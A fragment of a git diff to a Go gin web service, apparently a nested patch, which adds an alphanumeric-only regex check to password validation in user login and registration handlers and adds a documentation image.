+- if len(credentials.Password) < 4 || len(credentials.Password) > 64 {
++ if len(credentials.Password) < 4 || len(credentials.Password) > 64 || !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(credentials.Password) {
+ ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"})
+ return
+ }
+@@ -65,7 +65,7 @@ func (user *UserController) Register(ctx *gin.Context) {
+ return
+ }
+
+- if len(credentials.Password) < 4 || len(credentials.Password) > 64 {
++ if len(credentials.Password) < 4 || len(credentials.Password) > 64 || !regexp.MustCompile(`^[a-zA-Z0-9]*$`).MatchString(credentials.Password) {
+ ctx.JSON(http.StatusBadRequest, gin.H{"error": "Illegal username"})
+ return
+ }
+
diff --git a/documentation/tex/src/repl.jpg b/documentation/tex/src/repl.jpg
new file mode 100644
index 0000000..d503c06
Binary files /dev/null and b/documentation/tex/src/repl.jpg differ